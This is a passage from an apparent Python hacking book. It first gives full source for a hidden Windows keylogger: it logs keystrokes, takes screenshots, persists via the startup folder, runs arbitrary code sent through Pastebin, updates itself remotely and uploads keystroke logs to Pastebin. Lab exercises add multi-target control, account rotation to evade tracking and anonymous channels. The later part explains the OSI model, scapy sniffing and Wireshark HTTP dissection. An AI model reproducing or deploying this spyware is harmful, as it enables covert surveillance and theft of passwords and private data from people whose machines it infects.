            p.delete_paste(command["paste_key"])
            kill()

        elif command["paste_title"] == "COM-EXEC":
            p.delete_paste(command["paste_key"])
            try:
                old_stdout = sys.stdout
                sys.stdout = StringIO()
                exec(command["paste_content"])
```

```
            p.new_paste("RESP-EXEC-SUCC" ,
               exec_success_msg.format(command["paste_content"],
sys.stdout.getvalue()) )
            sys.stdout = old_stdout
            log("---Successful COM-EXEC run---")
         except Exception as e:
            p.new_paste("RESP-EXEC-FAIL" ,
               exec_except_msg.format(command["paste_content"], e) )
            log("---Successful COM-EXEC run---")
            log(e)

   threading.Timer(update_period, update).start()


window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window,0)


hm = pyHook.HookManager()
hm.KeyDown = keypress
hm.HookKeyboard()
keylog = threading.Thread(target=pythoncom.PumpMessages)

log("---PROGRAM STARTED---")

startup()
screenshot()
update()
keylog.run()
```

Let's give this a try. While the keylogger script is running, save a new Paste into your Pastebin account with the title "COM-EXEC" and the content "*print "Hello, world!*" The message should be deleted within fifteen seconds and replaced with a new one, titled "RESP-EXEC-SUCC" with the following content:

Command Successfully executed.

Command code:

```
print "Hello, world!"
```

Command output:

```
Hello, world!
```

Exfiltration and Deploying Updates

With the latest version of the script, we can shut down our keylogger remotely *and* we can execute arbitrary Python code through the channel we've created. But we're forgetting something. We are collecting a log of keystrokes and a folder full of screenshots on our target's computer, yet for any of that to be useful, we need some way of getting those from the target system to our own. This process is what hackers and pentesters call *exfiltration*.

As an additional challenge, let's pretend that we have already deployed our script onto the target computer and we cannot directly access that system again. This means that we cannot directly edit any of the code and we forgot to include code for exfiltrating our logs. So, unless we can do something to fix it, our program is essentially useless. Luckily, we did remember to include our arbitrary code execution routine. We can use that to salvage the whole operation. And, while we're at it, it would be nice to build in a better system for updates, so that we do not need to go through this process every time we want to make changes to our deployed script.

Denying ourselves direct access to the code might seem like an unnecessary complication, and admittedly, it is. But, as I mentioned earlier in this book, my goal here is less to provide you with ready-made solutions to hacking problems than it is to train you to start thinking like a hacker. And, in a real-world scenario, it is entirely possible that you will forget to implement a feature, or you will discover a bug in your program after you have already deployed it onto a target system. Even if you do everything right, you might discover something about your target system through surveillance that changes the parameters of your attack and requires you to change your approach. If this happens, having the skills to bootstrap in features that you did not anticipate the need for can save you the effort and additional risk of starting over from scratch.

I am going to assume that we are dealing with Python code files in this Section, rather than the compiled executables that we were dealing with toward the end of the last Chapter. There is no reason that these methods could not apply to binary files, but it is easier to see what is going on if we can actually understand the data that are being sent. For similar reasons, I am going to leave

the process of exfiltrating image files as an exercise for the reader. Ultimately, performing these two tasks through our Pastebin C2 channel will be a matter of finding a way of encoding binary data into a plain text format that will be accepted by Pastebin's system. This is an interesting project, but it qualifies more as general data-wrangling than it does hacking or pentesting, so spending much time on it would put us off topic. The same applies to compression and encryption, which are extremely important aspects of running an attack like this in a realistic setting, but do not fit the subject matter closely enough to justify spending much time on them in this book.

So, we need an approach for exfiltration, an approach for applying updates through our C2 system, and an approach for bootstrapping these features into our script using our *COM-EXEC* command system. It is going to be more efficient to focus on the latter two goals first, and then we can use the implementation of an exfiltration routine to test that our update system is working properly. It will also be easier to design a solution for bootstrapping changes if we already know what those changes are going to look like. This gives us a general roadmap for the rest of this Chapter. We need to design a robust update system for our script, then figure out a way to implement that system through the capabilities that we already have in the script, and, finally, we will test that system by applying an update that gives us straightforward exfiltration capabilities.

Let's define some design goals for our update system. Rather than sending an explicit update command every time we want to make a change, it would be nice if we could just keep a copy of the latest version of the script on our Pastebin, and then have the script periodically check whether the latest version is any different from its current code. If it is, we want it to replace itself with the new version without any input from us.

To do this, we are going to include a small helper script called *update.py* in the same directory, which will be called anytime a difference is detected. It would be possible to accomplish all of this from inside of the same script. If you completed Exercise 3 of the last Chapter, you have seen that there is nothing stopping a script from modifying or even deleting itself. However, there are reasons for separating our main script from our update script. First, it is easier and more reliable for a script to start a script *and then* terminate

itself than it is to schedule a script to start *after* it terminates itself. This means that, with a one-script solution, we will probably end up with two copies of the script running at the same time, at least for a short time. This could lead to problems if both instances try to modify the log file at the same time (which would be possible, because they do not share a semaphore), but it would not be too difficult to overcome that issue. The more convincing reason from our perspective is that it is simply easier to bootstrap using this method. As powerful as our *COM-EXEC* commands *could* be, writing code to be used inside of an *exec* function can get somewhat annoying if we are trying to do anything too adventurous. Doing it this way means that all we will be doing from inside of our *exec* call is writing a new file into our directory, running it, and then terminating the program, all of which are simple things to do.

Let's get started, then. First, we are going to design the updating system as if we still had access to all of the code. Our update method is going to simply overwrite the existing code, so our input is going to be the script that we wish we had written in the first place. To do this, let's add a function into our main script that checks if updates are needed and runs *update.py* if they are. First, we will need to import the *subprocess* library and then define how frequently we should check for updates

```
import subprocess

update_period = 60
```

Now, onto the update function itself:

```
def check_update()
    p = pastes.PastebinSession(dev_key, un, pw)
    vers = filter(lambda x: x["paste_title"] == "CURR-VERS", p.list_pastes())
    if len(vers) > 0:
        with open(sys.argv[0]) as own_code:
            if own_code.read() != vers[0]["paste_content"]:
                subprocess.Popen([sys.executable, 'update.py'])
                kill()
    threading.Timer(update_period)
```

In this code, we start a *PastebinSession* to check for updates, grab all of the Pastes that we currently have posted, and check for one called "CURR-VERS," which is where we will be storing the most recent version of the code. If it finds a Paste matching that description, it will start *upgrade.py* and then shut down so that *upgrade.py* can do its job without any potential interference. Using *subprocess.Popen* allows us to start the new script in such a way that it can continue running, even after we stop the main script. If an update is not found, we use *threading* to check again after a specified interval. Now, we need to write *update.py*.

```
import os
import sys
import pastes
import subprocess

dev_key = "your_dev_key"
un = "your_username"
pw = "your_password"

p = pastes.PastebinSession(dev_key, un, pw)
vers = filter(lambda x: x["paste_title"] == "CURR-VERS", p.list_pastes())
code = vers[0]["paste_content"]

with open("keylog.py", "w") as keylog:
    keylog.write(code)

subprocess.Popen([sys.executable, "keylog.py"])
os._exit(1)
```

So, we grab the new version from Pastebin, use it to overwrite the old version (obviously, you will need to replace the name *keylog.py* with whatever you have decided to call your main script), run the new version, and then exit.

Now that we know what changes we need to make to the copy of our program on the target computer, we need to figure out how to actually implement them. To do this, we will write a *COM-EXEC* command to send through Pastebin that will start up this cycle of checking for and installing upgrades. With the

system that we have designed, all that we need in order to do that is to create a copy of *update.py* and run it. Then *update.py* will grab the latest version of our script and set it up. Here is the command to handle that:

```
import subprocess, pastes

with open("update.py", "w") as update:
    update.write('''
import os
import sys
import pastes
import subprocess

dev_key = "your_dev_key"
un = "your_username"
pw = "your_password"

p = pastes.PastebinSession(dev_key, un, pw)
vers = filter(lambda x: x["paste_title"] == "CURR-VERS", p.list_pastes())
code = vers[0]["paste_content"]

with open("keylog.py", "w") as keylog:
    keylog.write(code)

subprocess.Popen([sys.executable, "keylog.py"])
os._exit(1)
''')

subprocess.Popen([sys.executable, 'update.py'])
kill()
```

This is basically the same code that we are planning to permanently place inside of the main script, except that it is also carrying a copy of the code for *update.py* hardcoded inside of it. This makes sense because what we are doing with this command is the exact same thing that we want the script to start doing on its own. The only difference is that we do not have an update script to call yet, so we need to send that with the command. Something that you may have

noticed is that even though this version of the script can update itself, we do not have a similarly convenient way of updating *update.py*. The solution to this is to keep a copy of the latest version of *update.py* on our Pastebin and then add code to the beginning of *check_update* that compares that version with the current version and replaces it if needed. This can be done fairly easily using our existing update code as a model, so it is left as an exercise for the reader.

At long last, we now have the tools that we need just to add exfiltration to our list of features. We are so well prepared, in fact, that this is not a particularly dramatic finale. We just need to add a new conditional into the *update* function. So, drop this in with the other *elif* blocks in the *update* function:

```
elif command["paste_title"] == "COM-REQ-KEYLOG":
    log(buffer)
    log_semaphore.acquire()
    log("---Dumping log to Pastebin---")
    p.delete_paste(command["paste_key"])
    with open(log_file,"w") as f:
        p.new_paste("RESP-REQ-KEYLOG", f.read())
        f.write("")
    log_semaphore.release()
```

If the command that we are looking at has *COM-REQ-KEYLOG* as its title, we write anything that is left in the buffer into the log file, then we grab the semaphore so that nothing else can be written to the file while we are sending back the data. We delete the command, as we have done with the other types of commands, then we open up the log file, put its contents into a new Paste, and then empty out the file. After that, we release the semaphore and that's it. But now that we have another change that we need to make to our script, we can test out our new update system. So, copy the new version of the file into *CURR-VERS* and make sure that everything works smoothly.

The final version of our keylogging script is the following:

```
import pyHook
import pythoncom
import sys
```

```
from datetime import *
import os

import threading
import pyscreenshot
import win32console
import win32gui
import winshell

import pastes
from cStringIO import StringIO

import subprocess

dev_key = "your_dev_key"
un = "your_username"
pw = "your_password"

root_dir = os.path.split(os.path.realpath(sys.argv[0]))[0]
log_file = os.path.join(root_dir, "log_file.txt")
caps_dir = os.path.join(root_dir, "screencaps")
name = "keylog"

buffer = ""
pause_period = 2
last_press = datetime.now()
pause_delta = timedelta(seconds=pause_period)

cap_period = 60
update_period = 15

log_semaphore = threading.Semaphore()


def log(message):
    if len(message) > 0:
```

```
        log_semaphore.acquire()
        with open(log_file,"a") as f:
                f.write("{}:\t{}\n".format(datetime.now(), message))
                print "{}:\t{}".format(datetime.now(), message)
        log_semaphore.release()


def keypress(event):
    global buffer, last_press
    if event.Ascii:
        char = chr(event.Ascii)

        pause = datetime.now()-last_press
        if pause >= pause_delta:
            log(buffer)
            buffer = ""

        if event.Ascii==13:
            buffer += "<ENTER>"
        elif event.Ascii==8:
            buffer += "<BACKSPACE>"
        elif event.Ascii==9:
            buffer += "<TAB>"
        else:
            buffer += char
        last_press = datetime.now()


def screenshot():
    if not os.path.exists(caps_dir):
        os.makedirs(caps_dir)

    filename = os.path.join(caps_dir,
"screen_"+datetime.now().strftime("%Y_%m_%d_%H_%M_%S")+".png")
    pyscreenshot.grab_to_file(filename)
    log("---Screenshot taken: saved to {}---".format(filename))
    threading.Timer(cap_period, screenshot).start()
```

```
def check_update():
    p = pastes.PastebinSession(dev_key, un, pw)
    vers = filter(lambda x: x["paste_title"] == "CURR-VERS", p.list_pastes())
    if len(vers) > 0:
        with open(sys.argv[0]) as own_code:
            if own_code.read() != x["paste_content"]:
                subprocess.Popen([sys.executable, 'update.py'])
                kill()
    threading.Timer(update_period, check_update).start()


def startup():
    if name+".lnk" not in os.listdir(winshell.startup()):
        log("---Adding shortcut to startup folder---")
        link_loc = os.path.join(winshell.startup(), name+".lnk")
        sc = winshell.shortcut()
        sc.path = os.path.realpath(sys.argv[0])
        sc.write(link_loc)


def kill():
    log(buffer)
    log_semaphore.acquire()
    log("---PROGRAM ENDED---")
    os._exit(1)


exec_success_msg = """
Command Successfully executed.
\n
Command code:
\n{}\n\n
Command output:
\n{}
"""
```

```
exec_except_msg = """
An exception was encountered while executing your code.
\n
Command code:
\n{}\n\n
Exception:
\n{}
"""

def update():
    p = pastes.PastebinSession(dev_key, un, pw)
    commands = p.fetch_commands()
    for command in commands:
        if command["paste_title"] == "COM-KILL":
            p.delete_paste(command["paste_key"])
            kill()

        elif command["paste_title"] == "COM-EXEC":
            p.delete_paste(command["paste_key"])
            try:
                old_stdout = sys.stdout
                sys.stdout = StringIO()
                exec(command["paste_content"])
                p.new_paste("RESP-EXEC-SUCC" ,
                    exec_success_msg.format(command["paste_content"],
sys.stdout.getvalue()) )
                sys.stdout = old_stdout
                log("---Successful COM-EXEC run---")
            except Exception as e:
                p.new_paste("RESP-EXEC-FAIL" ,
                    exec_except_msg.format(command["paste_content"], e) )
                log("---Successful COM-EXEC run---")
                log(e)

        elif command["paste_title"] == "COM-UPGRADE":
            with open("upgrader.py", "w") as up:
```

```
            up.write(upgrade_code.format(command["paste_content"])))
        subprocess.Popen([sys.executable, 'upgrader.py'])
        log("---Upgrading script---")
        kill()

    elif command["paste_title"] == "REQ-KEYLOG":
        log(buffer)
        log_semaphore.acquire()
        log("---Dumping log to Pastebin---")
        p.delete_paste(command["paste_key"])
        with open(log_file,"w") as f:
            p.new_paste("RESP-REQ-KEYLOG", f.read())
            f.write("")
        log_semaphore.release()


threading.Timer(update_period, update).start()


window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window,0)


hm = pyHook.HookManager()
hm.KeyDown = keypress
hm.HookKeyboard()
keylog = threading.Thread(target=pythoncom.PumpMessages)

log("---PROGRAM STARTED---")

startup()
check_update()
screenshot()
update()
keylog.run()
```

And, in the same directory, we should also have the update script:

```
import subprocess, pastes
```

```
with open("update.py", "w") as update:
    update.write('''
import os
import sys
import pastes
import subprocess

dev_key = "your_dev_key"
un = "your_username"
pw = "your_password"

p = pastes.PastebinSession(dev_key, un, pw)
vers = filter(lambda x: x["paste_title"] == "CURR-VERS", p.list_pastes())
code = vers[0]["paste_content"]

with open("keylog.py", "w") as keylog:
    keylog.write(code)

subprocess.Popen([sys.executable, "keylog.py"])
os._exit(1)
''')

subprocess.Popen([sys.executable, 'update.py'])
kill()
```

Now, to make any changes to the script once it is in place on the target computer, all we need to do is edit the code saved in our *CURR-VERS* paste.

Conclusion

In this chapter, we covered:

- How to use Python to read and write to a Pastebin account
- How to remotely control your surveillance script using Pastebin
- How to use an arbitrary code execution to bootstrap changes into a script that has already been deployed
- How to use Pastebin to retrieve the data gathered by a surveillance script
- How to use Pastebin to build an automatic update system

Lab Exercises

1. Use the Pastebin functions that we developed to build a control-side program that allows you to send and receive Pastebin messages from inside of Python rather than using Pastebin's web interface. For example, design a command-line utility that takes a Python script as its input and automatically dispatches the contents of that script as a *COM-EXEC* command. Another possible goal would be to grab the output of any *COM-EXEC* commands (successful or failed), save their contents into a log file, and then delete them from the Pastebin account.

2. The control system that we built in this Chapter is really only effective if we are controlling one copy of the script at a time. For example, we delete the *COM-EXEC* Pastes as soon as they are run, so if we are trying to control multiple copies on multiple target systems, only one of them will be able to receive the command before it is deleted. For this exercise, expand the system so that it can control multiple copies of the script at once. You will want to be able to control each copy individually *and* send commands to all of them at once.

3. While discussing HTTP server C2 systems, I mentioned that many hackers using this method will periodically switch to new domain names to make their traffic harder to track. To improve system resilience and to circumvent Pastebin's post limits, implement a similar system using multiple Pastebin accounts. You can use a predefined list of Pastebin accounts for redundancy, use only one account at a time but implement a new Pastebin command to instruct the script to switch to a new account, or you can devise an algorithm to dynamically create usernames and passwords to try, and then use the same algorithm to decide what login information to use for the new accounts that you open. Signing up for a new Pastebin account requires a unique email address, but that can be easily circumvented using an anonymous temporary email service like *Guerilla Mail*.

4. So far, we have sent all of our data in plain text. This is not ideal, and it would be a bad idea to do this in a real-world application. Your job is to improve our program so that all of the data that it sends or receives is

subject to some type of encryption. The best option would be a public-key encryption system, like RSA. At present, there are no modules in the Standard Library that include implementations of RSA, but there are several good options available through PyPI.

5. Pastebin does not actually require us to associate our Pastes with our account. Although we still need to register an account in order to use the API, if we select "Paste as guest," we can post our commands in relative anonymity. The problem with this is that we will no longer be able to find the Pastes that we need simply by checking in with a predetermined account. For this exercise, modify the script to use anonymous guest pastes with easily searchable, algorithmically generated titles. This will require two additions to our Pastebin code. First, because they are posted without any identifying information, you will not be able to delete these pastes, so you will need to utilize Pastebin's expiration feature so that our data do not continue floating around on Pastebin's servers indefinitely. But, we cannot trust that either the controller (us) or the script has managed to see a message before it expires, so you will need to post receipt confirmations every time a paste is received and re-Paste any messages that have not yet been received. Secondly, locating Pastes based on their titles is not a feature that is built in to the Pastebin API; you will need to use some web scraping techniques to perform the searches on your own.

Part 2
Network Hacking

Chapter 5
Packet Sniffing

Chapter Objectives

In this chapter, you will learn:

- How the OSI model explains network structure and allows us to conceptualize the relationships between different network protocols
- How to decode and interpret network packets in Wireshark
- How to use *scapy* to sniff and modify network packets
- How to use *nfqueue* and *iptables* to redirect and intercept network traffic

In the process, we will use Python to build a network traffic sniffer and a partial implementation of the SSLstrip attack.

Introduction

In the remaining two Chapters of this book, we will begin looking at networks and the methods that we can use to exploit them for our own purposes. Networks are very attractive targets for hacking and pentesting because they allow us to extend our reach beyond computers that we can physically access. The tools that we have built up to this point are useful for gathering information, and in the previous Chapter, we improved them so that we would only need to access the target system for long enough to initially set up our script, but our applications are still limited to circumstances in which we have an opportunity to actually sit down at a keyboard, plug in a USB drive, etc. Network hacking allows us to move beyond those limitations.

Specifically, in this Chapter, we will be looking at how networks work, and we will be directly working with network traffic, at the level of individual packets, from inside of a target system. This will act as a transition between the material of the previous Chapters, where we needed full access to the target system, and the final Chapter, where we build an attack that can be used on other computers on the network.

The OSI Model

The OSI (open system interconnection) model is one of the primary conceptual tools used to discuss and to think about how networks are structured. There has been some debate as to how accurate—or even how useful—it is in explaining modern networks, but a basic understanding of this model is a prerequisite for following most of the information that you will be able to find on the subject, so it is worth your attention regardless.

The OSI model breaks network activity into seven distinct layers. Each layer draws upon the layer below it and provides a foundation for the layer above it. Here is a very quick run-through of the layers, ordered from most the most basic up to the most abstract:

1. **The Physical Layer:** Before we can enter the territory of computer scientists, we must first pass through the territory of electrical engineers. The physical layer concerns the transmission of information at the most basic hardware level. This involves questions like *What voltage level should be used to represent binary ones and zeroes?* and *How do we minimize electrical interference?* With the physical layer, we are concerned with the transmission of individual bits through whatever physical medium we happen to be using. USB, Ethernet, and Bluetooth are all examples of protocols that operate on this layer.

2. **The Data Link Layer:** This layer is primarily concerned with taking the physical signals from layer one and extracting low-level information, as well as ensuring that any errors introduced by the physical medium are accounted for so that we can safely assume that the signal was transmitted faithfully. It involves questions like *How do we signal the boundary between two chunks of data in the signal? Should the receiver send an acknowledgment to the transmitter once it has received the signal?* and *How should the transmitter react if the receiver does not send that acknowledgment?* The *chunks* of data that we are concerned with in this layer are called *frames*.

3. **The Network Layer:** The network layer involves the management of the various nodes in the network. That is, the network layer must answer

questions such as *How should we assign addresses to devices on the network, such that we can reliably reach each one? What is the best way to route signals between devices that are not directly connected?* and *How do we handle situations in which traffic through a specific route exceeds what can be reliably transmitted through the medium?* With the network layer, we are concerned with the transmission of *packets* of information. IPv4 and the newer IPv6 are examples of protocols that operate on this layer.

4. **The Transport Layer:** Like the data link layer, the transport layer is concerned with the reliable transmission of information. The difference between these two layers is that the data link layer operates in terms of the physical connection between devices whereas the transport layer operates in terms of the abstract connections that make up the network. TCP and UDP both operate on this layer.

5. **The Session Layer:** The session layer glosses over the specifics of the transport layer and allows us to think in terms of a continuous stream of communication between devices or processes. SSL, which is used to ensure the security of Internet traffic, is one example of a protocol that operates on this layer.

6. **The Presentation Layer:** The presentation layer is concerned with the format of the information as it will be received by applications. Protocols in this layer include the same formats that we use when storing data on a local system for future use. For example, this includes character encoding systems like ASCII and Unicode, as well as file formats like JPEG and PNG.

7. **The Application Layer:** Finally, the application layer is the layer that we see when we are using programs that utilize networks. This includes protocols like FTP, SMTP (email), and HTTP.

In this book, we will not have time to cover examples that involve manipulations of all of these layers, but it is important to have a general idea of what each of these layers does and how they work together. This is because, for the majority of projects that require reading and manipulating network

traffic, you will be dealing with more than one layer at a time, and it will be very difficult to do so competently if you have difficulty distinguishing each of the relevant layers and their particular roles. If you are shaky on aspects of the outline given above, continue reading through this Chapter. If, after some practice working with a few of these layers, you are still unclear on how the OSI model works, I would strongly advise that you do some additional research to clear up any confusion. You will not have any difficulty finding more detailed explanations suited to your particular level of expertise. It will come in handy—I promise—but this is one of those times that I will cut the technical exposition short so that we can move on to some practical examples.

Sniffing Network Traffic

The most direct way to get a feel for how computer networks operate is to look at and modify the messages being sent through them. So, that will be our project for this Chapter. First, we will build a script that intercepts the network traffic going into and out of our computer, then we will expand it so that we can inject our own data into packets as they are received. For now, we will focus on performing these functions from inside of our target system. Combined with our script from the previous Chapters, this could be a good way to gather additional information—besides the possibility of seeing it in our screenshots, we currently have no reliable way of monitoring web browsing activity—as well as to contextualize the keystrokes that we collect (again, unless we are lucky enough to catch it in a screenshot, it will be very difficult to extract passwords and determine what sites they correspond with—but by capturing packets, we can do just that). In the next Chapter, we will build on the skills that we develop here to intercept and modify the network traffic of *other* computers on the network.

In order to sniff network traffic using Python, we will be using *scapy*. *Scapy* is both a Python library and an interactive command line program designed specifically for sniffing, generating, and modifying network packets. It is *possible* to install *scapy* on Windows, but doing so is a pain, and even when properly installed, there are features that simply are not available on the Windows platform. So, to save us the annoyance of the Windows installation process, for the remaining Chapters of this book, we will be working with Linux systems instead. This will shift our pool of targets to those that run Unix-based operating systems, which includes Linux and OS X. In the Lab Exercises, you will have the option of modifying the script from this Chapter to work with Windows or modifying the code from the previous Chapters to work with Unix.

The easiest way to follow along with these examples on Windows is using a virtual machine. All of the following code was developed and tested using *Oracle VM VirtualBox* running a *Kali Linux VirtualBox image*. Kali (the successor of a similar tool called Backtrack) is a Linux distribution that ships with a huge suite of tools for hacking and pentesting. We will not actually be utilizing any of that in this book, but if you plan on continuing in the world of

hacking, you will want to familiarize yourself with Kali, and since you are going to be setting up a Linux VM anyway, it might as well be one that comes with all of the tools that you might need for future hacking projects already built in.

Anyway, let's start sniffing some network traffic. Once you have installed *scapy* (if you are using Kali, it comes pre-installed), you have the option of running it as a Python library or as a standalone command line interface. Because our end goal in this Chapter is to write a script, we will mostly be using it as a library, but for now, fire up a terminal window in Kali and run the command *scapy*. This opens up the *scapy* interactive terminal. It works just like the Python interactive interpreter that you are probably already familiar with. In fact, it *is* the Python interactive interpreter, just with all of *scapy*'s features pre-loaded for your convenience. Open up a browser window (Kali's default browser is called *Iceweasel*, a variant of Firefox) so that we can produce some network traffic. Enter the following command into the terminal:

```
>>> sniff(prn=lambda x: x.summary())
```

and then use your open browser window to go to a website. I used *http://www.google.com* (the whole address is actually important here because the initial *http* tells Google to respond using HTTP protocol rather than HTTPS—more on that in a moment). The result of this will be a constantly updating list with entries that look something like this:

```
...
Ether / IP / TCP 23.4.43.27:http > 10.0.2.15:59378 A / Padding
Ether / IP / TCP 10.0.2.15:57769 > 74.125.227.232:http FA
Ether / IP / TCP 10.0.2.15:57770 > 74.125.227.232:http FA
Ether / IP / TCP 10.0.2.15:57771 > 74.125.227.232:http FA
Ether / IP / TCP 74.125.227.232:http > 10.0.2.15:57769 A / Padding
Ether / IP / TCP 74.125.227.232:http > 10.0.2.15:57770 A / Padding
Ether / IP / TCP 74.125.227.232:http > 10.0.2.15:57771 A / Padding
Ether / IP / TCP 74.125.227.232:http > 10.0.2.15:57769 FA / Padding
...
```

When you are done, hit Ctrl-C to stop the command. That's it. You have now

technically created a network sniffer. As you can see, *scapy* does most of the heavy lifting for us using the *sniff* function. The argument *prn* is a function that *scapy* will call with every packet that it detects. In this case, we are simply using it to print out a summary of the packet, but this function can be used to do much more interesting things. So, what is going on in the output? One thing to note is that *scapy* uses the / symbol to denote the layering of packets, so *Ether / IP / TCP* means that we are looking at a TCP packet (TCP operates at the transport layer), which is wrapped inside of an IP packet (network layer), which is finally wrapped inside of an Ethernet signal (physical layer). Next in the packet summary is the IP address of the source. So, for example, 10.0.2.15 is the IP address of my Kali VM. In the second packet in the example output above, *10.0.2.15:57770* means that the packet was sent from port 57770 of my VM. As you might expect, the > indicates that the packet was sent from the IP address on the left (the source) to the IP address on the right (the destination). In the case of the second packet, the destination was the HTTP port of the server found at 74.125.227.232, which happens to be the location of Google's homepage. Finally, the "A" and "F" stand for Acknowledge (**ACK**) and Finish (**FIN**). A packet marked with **ACK** requires the receiver (Google's server) to send an acknowledgment that it has received the packet. A packet marked with **FIN** indicates to the receiver that the sender is finished sending their message but will continue listening in case there is a response. These details are related to the specifics of how the TCP protocol operates, which we do not need to dwell on here. Finally, the packets received by my VM from Google contain an additional Padding packet, which is simply there to meet the packet size requirements of the Ethernet protocol. The sent packets do not have the same padding because they were recorded before being passed to the Ethernet layer.

So, this shows us, from a high-level view, what the *things* being passed around in a network look like: chunks of data surrounded by different types of wrappers, which are there to handle the needs of the various operational layers specified in the OSI model. I told you that understanding OSI would come in handy! From these summaries we can surmise that the sample output above shows the VM sending an HTTP request to Google and Google sending a response. That indicates that we are on the right track, but this does not give us the information that we really care about. Our goal is to look at the contents of the packets, not just their structures. So let's do that, and in the process, we will encounter one of the most useful tools in a network hacker's arsenal. In the

same terminal window, run the following command:

>>> wireshark(_)

Recall that, in a Python interactive session, "_" is used to recall the result returned by the most recent command. So in this line, we are taking the list of packets that we gathered in the last step and we are feeding them into the *wireshark* function. All this function does is save the packets into a temporary file (the standard format used to store captured packets is *.pcap*. To save a list of captured packets to a file permanently, use the *wrpcap* function), which it then opens up in a program called Wireshark that allows you to browse through the packets and view their contents. I'm assuming that you're using Kali, which comes with Wireshark already installed; otherwise, you might need to install it yourself.

Wireshark is a crucial part of any network programmer's toolkit, so it is worth taking some time to familiarize yourself with its interface and features. We will not be making very extensive use of it here because much of its functionality overlaps with *scapy*, and considering that this is a book about hacking and pentesting *in Python*, it makes sense to focus on *scapy* instead, wherever possible. But, for the purposes of visually exploring network packets and gaining an intuitive understanding of how data are packed inside, Wireshark is hard to beat. So, to make sure that we know what we're getting into when we start really *using scapy* in the next Section, let's take a moment to see what Wireshark has to offer.

One of Wireshark's primary features is that it can capture live network traffic as it is sent and received from a computer. We already handled our sniffing in *scapy*, so we do not need to worry about that here. In the main window, you will see a list of data that looks a lot like the output of the *sniff* function that we ran a moment ago. These are the same packets that were listed when we ran that function, but now we can look at them in a much more thorough and intuitive way than we could with *scapy* by itself.

In addition to handling traffic sniffing, Wireshark is also a very powerful network packet analysis program (a packet *dissector*, in the words of its creators) that comes out of the box *knowing* a huge array of different network

protocols. This means that, for every packet you see listed, Wireshark almost certainly knows how to pull it apart into a form that can be easily navigated and understood, provided you know your way around the interface. So, let's get some practice working with it by dissecting some of the web traffic that we recorded.

Because we are only interested in the web traffic, and not any other network activity that might also have been picked up by *scapy*, it would be helpful to hide any other types of traffic from the list. Wireshark makes this very easy. Just select the drop-down box labeled *Filter*, enter "http," and then click *Apply*. Communication through HTTP consists of requests sent by the client and responses returned by the server. If you have done any web programming in the past, you are probably reasonably familiar with this idea; we even used requests and responses in a limited way when we built our Pastebin functions in the last Chapter. In general, for each request sent by the client, the server is expected to send one or more response packets in reply. This means that, for each response packet that you see listed, there is a specific request packet that elicited it. It would be nice if we could narrow down the results further so that we can see each specific exchange. Wireshark does this too; just right-click on a packet that you are interested in and select *Follow TCP Stream*. Now the listing should only show packets associated with that HTTP conversation between the client and the server. In my case, the listed packets for my VM's conversation with Google's server look like this:

No.	Time	Source	Destination	Protocol	Length	Info
45	12.132	10.0.2.15	216.58.217.196	HTTP	521	GET / HTTP/1.1
49	12.280	216.58.217.196	10.0.2.15	HTTP	550	HTTP/1.1 302 Found (text/html)
75	12.569	10.0.2.15	216.58.217.196	OCSP	498	Request
77	12.637	216.58.217.196	10.0.2.15	OCSP	800	Response
263	13.507	10.0.2.15	216.58.217.196	OCSP	498	Request
377	13.585	216.58.217.196	10.0.2.15	OCSP	800	Response

Let's walk through what is happening here. First, the VM sends an HTTP request (specifically, a GET request) to the server asking it to send a copy of the Google homepage. The server then returns an HTTP response that contains some HTML code. The response has status code 302, which tells the VM that it

should redirect to the *real* homepage, which uses HTTPS. The VM redirects and all subsequent traffic is encrypted (OCSP, Online Certificate Status Protocol, is a particular subset of HTTP used to establish secure HTTPS connections). The encrypted traffic is not very useful to us, but the first two packets are exactly what we are looking for. Let's take a closer look at their contents. All HTTP packets share the following structure:

- A **start line** that indicates whether the packet is a request or a response, and in either case, some additional information about what type of request or response it is.
- Several **message headers**
- One **empty-line**
- The **message body** (optional)

Let's see how this structure works in practice, starting with the request packet. Here is the first packet listed in the table above, with the Ethernet, IP, and TCP layers stripped away:

```
GET / HTTP/1.1
Host: www.google.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101
Firefox/31.0 Iceweasel/31.8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
```

This is an abridged, plain-text version of the information displayed in the packet dissection window that opens when you double-click on a packet in Wireshark. In this packet, the start line, *GET / HTTP/1.1*, indicates that the packet is a GET request. This is followed by several header fields that carry most of the information in this request. The *Host* field specifies what URL the VM is trying to reach, which helps the server know how to respond in cases where more than one webpage lives at the same IP address. *User-Agent* tells the server what type of device and browser the client is using. This is used by

some servers to ensure that the version of the page being returned is well suited to the way that the user will be viewing it. For example, this field is how servers know to redirect mobile devices to the mobile version of their sites. The fields starting with *Accept* tell the server what type of data the target is expecting to receive. Finally, there is a blank line, which does not actually serve a purpose in this case because the request is not carrying a message body.

Now, moving on to a response packet. Here are the contents of the second packet in the conversation:

```
HTTP/1.1 302 Found
Location: https://www.google.com/?gws_rd=ssl
Content-Type: text/html; charset=UTF-8
Date: Sun, 20 Dec 2015 01:20:43 GMT
Server: gws
Content-Length: 231

   <HTML><HEAD><meta http-equiv="content-type"
content="text/html;charset=utf-8">\n
   <TITLE>302 Moved</TITLE></HEAD><BODY>\n
   <H1>302 Moved</H1>\n
   The document has moved\n
   <A HREF="https://www.google.com/?gws_rd=ssl">here</A>.
   </BODY></HTML>
```

Rather than a normal Success response (code 200), my VM received a 302 redirect code. This means that the server knew what page it was looking for, but it was looking in the wrong place. The *Location* header field tells the VM where it should be looking instead. *Content-Type* is the response counterpart of the request's *Accept* fields. It lets the VM know how it is supposed to interpret the message body. In this case, it tells us that the message is HTML code, encoded in UTF-8. *Date*, naturally, gives us the time that the response was generated. *Server* is the equivalent of the *User-Agent* field in the request, in that it tells us what type of system the server is. In this case, it tells us that the server is running GWS, Google Web Server, which is unsurprising considering that this is one of Google's servers. *Content-Length* gives the

length, in bytes, of the message body. By including the message length, the server provides a way of determining when this packet ends and the next one begins. Once we have extracted the message body, this value also provides a crude way of ensuring that no part of the message was lost during transmission or that nothing was added. Finally, there is a blank line followed by the HTML for a simple webpage instructing the user to go to the correct version of the site. For what it's worth, most browsers handle 302 redirects automatically, so the user will rarely actually see this page. To view this sort of detailed breakdown of any packet in Wireshark, just double-click on it in the main list.

The HTTPS Problem

